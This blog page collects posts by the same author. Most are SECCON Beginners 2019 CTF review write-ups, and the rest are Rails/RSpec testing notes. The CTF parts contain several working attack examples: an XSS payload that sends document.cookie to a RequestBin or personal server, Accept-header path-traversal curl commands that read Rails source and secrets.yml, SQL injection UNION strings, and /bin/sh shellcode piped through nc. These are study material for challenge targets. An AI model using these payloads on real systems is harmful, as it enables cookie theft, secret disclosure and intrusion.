セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【XSS】CTFでcookieを自サーバに送る問題

前置き

SECCON for Beginners ctf 2019で、Himitsuという問題が出題されました。とりあえず、そのWrite-upに関しては他の方のを参考にしてください。

teppay.hatenablog.com

st98.github.io


で、この問題管理人のcookieを奪うために、XSScookieを自分のサーバに送ってもらう処理を書かなければいけないのですが、あいにく自分のサーバを立てていないので壁にぶつかります。その時の解決法書きます。

RequestBin

このサイトです。

requestbin.fullcontact.com


このサイトはリクエストを受け取れる場所を生成し、その内容を見ることができます。APIを試し打ちしてみるなどの用途がありそうです。で、ここにアクセスする際にパラメータにcookieを含めるよう設定したらOKです。

<script>(new Image).src='http://requestbin.fullcontact.com/xxxxxxx?'+document.cookie</script>

あくまでHTTPのサイトなので、HTTPSからのリクエスト出せなさそう?下のスクリプトはエラーでリクエストが飛びません。

<script>fetch('http://<my_server>/?'+document.cookie)</script>

他にも色々やり方はあると思います。が、知識不足なので例があげられませんごめんなさい。

【SECCON for Beginners 2019】katsudon-okawari 勉強してみる会

この記事は

弱々な自分のためにWriteUp見て勉強するだけなので、詳しく知りたい方は私が参考にしたサイトさんへ飛んでください!



参考サイト

teppay.hatenablog.com



katsudon-okawari

katsudonという問題が出題されたのですが、想定解でないものが見つかりおそらく再調整された問題がこれ。のちにわかるのですが、katsudonとは違う鍵の認証をコントローラでやってます。katsudonは下のコードだった。

serial_code = params[:serial_code]
@coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)


で、みんな恐らくググってたどり着いたであろうこのサイトによると、特定の方法でレンダされたページから、ディレクトリトラバーサル攻撃可能だそうです。普通にやばいけど一般的にRailsでは、MVCがいい感じに呼び合ってくれるので、RESTfulなページでは発生しなさそう。それこそ404ページとかその辺りの表示に使うかも。
で、今回出題にはRailsのバージョンが5.2.1との指定があったので、恐らく上記の脆弱性を使用する。

今回渡されるフラグの元は

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==—cUS9fQetfBC8wsV7—E8vQbRF4vHovYlPFvH3UnQ==

であり、これが掲載されたページのソースには下のコメントがあったのでここから、ファイルを覗き見て複合するって感じだそうです。

..
<div class="main">
bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==
</div>
..


まずコメントのページにアクセス

$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/coupon_controller.rb{{'

class CouponController < ApplicationController
  def index
  end

  def show
    serial_code = params[:serial_code]
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm")
    @coupon_id = msg_encryptor.encrypt_and_sign(serial_code)
  end
end


Rails.application.secrets[:secret_key_base][0..31]からconfig/secrets.ymlを読めばキーがわかりそうです。余談ですが、Rails 5.2からこの手段config/secrets.ymlは廃止されcredentials.yml.encになったはずです。(一応この手法も残されてはいた)

$ curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/secrets.yml{{'
...
production:
  secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34

これでsecret_key_baseがわかったので、解けそうです。

[1] pry(main)> secrets  = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'[0..31]
=> "4e78e9e627139829910a03eedc8b2455"
[2] pry(main)>
[3] pry(main)>
[4] pry(main)> msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secrets, cipher: "aes-256-gcm")
=> #<ActiveSupport::MessageEncryptor:0x00007fe2da26b500
 @aead_mode=true,
 @cipher="aes-256-gcm",
 @options={:cipher=>"aes-256-gcm"},
 @rotations=[],
 @secret="4e78e9e627139829910a03eedc8b2455",
 @serializer=Marshal,
 @sign_secret=nil,
 @verifier=ActiveSupport::MessageEncryptor::NullVerifier>
[5] pry(main)> flag = msg_encryptor.decrypt_and_verify('bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==')
=> "ctf4b{06a46a95f2078ae095470992cd02f419}"
[6] pry(main)>


フラグは ctf4b{06a46a95f2078ae095470992cd02f419}
頑張ってれば解けてたかもなぁ、(悔)まぁ惜しくても解けなきゃ0点なんで

余談

こんな感じで他のファイルも見られる。

$ curl nners.seccon.jp/flag -H 'Accept: ../../config/routes.rb{{'

Rails.application.routes.draw do
  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
  root to: "application#index"
  get '/storelists', to: "storelists#index"
  get '/flag', to: "application#flag"
  get '/coupon', to: "coupon#index"
  post '/coupon', to: "coupon#show"
end
$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/application_controller.rb{{'

class ApplicationController < ActionController::Base
  def index
    redirect_to "/storelists"
  end

  def flag
    render file:  "#{Rails.root}/flag.txt"
  end


Railsのコントローラの命名規則とか守ってなかったり、ルーティングも即席っぽかったりと、CTFの問題を作る人はきっと大変なんだろうなぁ、ありがたいなぁと思いました。

【SECCON for Beginners2019】復習




昨年に引き続き..

今年も参加しました。今年はBornOn21というチームで167/666位という結果でした。正直僕はほぼ貢献できてないです(去年より難しくなってた?)。なのでWriteUpという見出しは使わないで、もう完全に他の方の解き方を見て復習する記事にします。特に自分が解こうとして解けなかった問題をここに残します。

f:id:thinline196:20190526174118p:plain




参考サイト

今回は備忘録なのでこちらの参考サイトさんを見てくださいね。

qiita.com

szarny.hatenablog.com

betit0919.hatenablog.com

furutsuki.hatenablog.com

注意

WriteUpじゃないですからね。







[Reversing] Seccompare

コマンドライン引数とフラグをstrcmpで比較している感じ。radare2で開いたら比べる文字が見えるので、そのまま解けます。 f:id:thinline196:20190526174909p:plain
ctf4b{5tr1ngs_1s_n0t_en0ugh}

[Web] Ramen

店員と一言を検索するフォームがあり、そこにSQLインジェクション脆弱性があるようです。UNION句ではカラムの数を同じにしなければエラーになるんですね。SQLに弱いので勉強になりました。

' UNION SELECT table_name,column_name FROM Information_schema.COLUMNS; #
' UNION SELECT 1, flag FROM flag; #

僕はテーブル名を調べるときにこんな感じでやりましたが、上の方がスマートですね。

a' or '1'='1' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE')  --




[Web] Katsudon

問題文。

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

で、表示されるflagは下になります。 BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
問題文を見た感じ、message_verifierをいじるのかと思いましたが、渡されたフラグの前半部分をbase64でデコードするだけでした。。。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Railsのプロジェクト作って実際に走らせたりと色々迷走しました。


[Crypto] So Tired

初めはbase64の文字列が渡されるのでデコードし、それをfileコマンドで調べるとzlib形式で圧縮されている事がわかるそうです。簡単なデコードは下のコマンドでできます。 base64 -d encrypted.txt > out.txt

import zlib
import base64

data = open("encrypted.txt").read()

while True:
    data = base64.b64decode(data)
    print(data) # どちらで答えが出るかわからない
    data = zlib.decompress(data)
    print(data)




[Misc] containers

foremostで渡されたdataを解析したら、下の画像が出てきました。これ、正しい解法なのでしょうか? f:id:thinline196:20190526181328p:plain

ctf4b{e52df60c058746a66e4ac4f34db6fc81}




[Pwnable] shellcoder

送ったシェルコードをそのまま実行してくれるらしいのですが、binshの文字が入っているものは排除されるらしいです。

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 Linux/x86-64 - Execute /bin/sh - 27 bytes

root@kali:~/Downloads/seccon4b2019# echo -en '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' > shell.bin
root@kali:~/Downloads/seccon4b2019# hexdump -C shell.bin 
00000000  31 c0 48 bb d1 9d 96 91  d0 8c 97 ff 48 f7 db 53  |1.H.........H..S|
00000010  54 5f 99 52 57 54 5e b0  3b 0f 05                 |T_.RWT^.;..|
0000001b
root@kali:~/Downloads/seccon4b2019# 
root@kali:~/Downloads/seccon4b2019# cat shell.bin - | nc 153.120.129.186 20000
Are you shellcoder?
ls
flag.txt
shellcoder
cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

ctf4b{Byp4ss_us!ng6_X0R_3nc0de}


[Web] Dump

作者さんの解法 takahoyo.hatenablog.com



最後に

全く歯が立たなかった。。

【RubyOnRails】after_initializeとFactoryBot

ActiveRecordのコールバック

まずは下のサイトさんをご覧ください。

qiita.com

# Hoge.create()の実行順

hoge = Hoge.new(name: "hoge")
#initialize
after_initialize #newメソッドで生成したときのみ
hoge.save!
#BEGIN TRANSACTION
before_validation
#validation
after_validation
#ROLLBACK
after_rollback   #validationに失敗した時のみ
before_save
around_save
before_create
around_create
#INSERT INTO "hoges"
after_create
after_save
# COMMIT
after_commit
# 引用元:https://qiita.com/rtoya/items/29cef3e328299781a328

(引用元ではafter_initializenewの時のみとありますが、インスタンスが生成されるたびに呼ばれるので、Hoge.createHoge.first等を使用した場合も呼ばれるはずです。)

で今回after_initializeで呼ばれるメソッドをテストしたかったというお話です。

そもそも

上に書いたように、newで呼ぶ以外にもafter_initializeを走らせる方法はたくさんあるので、基本的にモデルのコールバックテストをするのには困らないはずです。

ですが、私はFactoryBot.new(:hoge)を呼ぶと同時にafter_initializeを見ようとしたためハマりました。

FactoryBot.create(:hoge)と、Hoge.create()

てっきり同じように呼ばれるのかと思いきや、若干違うようです。
createの引数に初期値を渡してインスタンスを生成する場合、FactoryBotの方はafter_initialize時に初期値がまだ反映されません。

つまり..

本家のHoge.create(name: "hoge")

#initialize
after_initialize # すでにself.name に"hoge"が入っている
hoge.save!
#BEGIN TRANSACTION
before_validation
#validation
after_validation


FactoryBot.create(:hoge,name:"hoge")

#initialize
after_initialize # まだselfは全てnil
hoge.save!
#BEGIN TRANSACTION
before_validation # self.nameに"hoge"が入っている。
#validation
after_validation

という感じになります。

余談

factorybotの値を使うのであれば、

Hoge.create(FactoryBot.attributes_for(:hoge))

とかどうでしょう?

よく理解できていないので、何かあれば教えてください。

【RSpec】ActionMailer deliver_now が呼ばれる事をテストする

やりたかった事

HogeMailerがあり、HogeDeliveryインスタンスメソッド(send_email)内でHogeMailerを使ってメールを飛ばしていました。

私は今HogeDeliveryのモデルテストを書いていたのでsend_emailのテストを書こうとしました。しかし、ActionMailer::Base.deliveries.count等は使えません(なぜかは知らないので聞かないで) ので、実際にメールが送信できたのか別手段でテストしようと思ったのが始まり。

前提

class HogeMalier < ActionMailer::Base
  def send_hoge
    mail(to: params[:to], template: params[:template],......)
  end
end


class HogeDelivery < ActiveRecord::Base
  def send_email
    # 色々処理する
    # Userクラスからuserを引っ張ったり
    ...
    HogeMailer.with(toとかsubjectとか).send_hoge.deliver_now # ここがdeliver_laterの場合もある
  end
end

deliver_laterの場合

deliver_laterActiveJobを利用して、非同期的にメールを送信します。have_enqueued_jobでメール送信ジョブが登録されたことを確認できます。同時にenqueued_jobsからはその情報を取得することができるので、中身をテストしたい場合はこちらを使います。

describe 'HogeDelivery', type: :model do
  subject{send_mail}(hoge_delivery.send_email) # 引数に送信先の情報を渡す実装ならここ変更
  let!(:hoge_delivery){create(:hoge_delivery)}
  let!(:user){create(:user)}

  it 'enqueue a job' do
    expect { send_mail }.to have_enqueued_job.on_queue("mailers") # ジョブが登録される
  end
  it 'use user name for "to" value' do
    send_mail
    expect(enqueued_jobs[0][:args][3]["to"]).to eq user.name # ジョブから値を引っ張ってくる
  end
end

deliver_nowの場合

deliver_nowActiveJobを使用せずに同期的に送信するため、上の方法では送信できているのか確認できません。

しかし、よくよく考えるとこのHogeDeliveryモデルテストで担保すべきは、deliver_nowがしっかり呼ばれることです。deliver_nowはあくまでHogeMailerの責務として考えた場合、スタブを利用してメソッドが呼ばれることのみをテストすれば良さそうです。

describe 'HogeDelivery', type: :model do
  subject{send_mail}(hoge_delivery.send_email) # 引数に送信先の情報を渡す実装ならここ変更
  let!(:hoge_delivery){create(:hoge_delivery)}
  let!(:user){create(:user)}

  it "call #deliver_later" do
    message_delivery = instance_double(ActionMailer::MessageDelivery)
    allow(HogeMailer).to receive_message_chain(:with, :send_hoge).
                           with(to: to, subject: ..とか色々).with(no_args).
                           and_return(message_delivery)

    expect(message_delivery).to receive(:deliver_later
    send_mail
  end
end

しかし、send_email内ではUserクラスから情報を引き出してきたりと、テストすべき部分はあります。そのため、deliver_laterを使っているのであれば、上のような期待した値が格納されているかテストするのも、大事かと思います。

余談

スタブは、メソッドを実行させずに欲しい値を取得するもの、モックは指定のメソッドが実行されたかどうかをチェックするためな感じだそうです。 スタブはallow、モックはexpect。まぁ詳しくは参考サイトを見てみてください。

参考サイト

tonirib.github.io

qiita.com

techracho.bpsinc.jp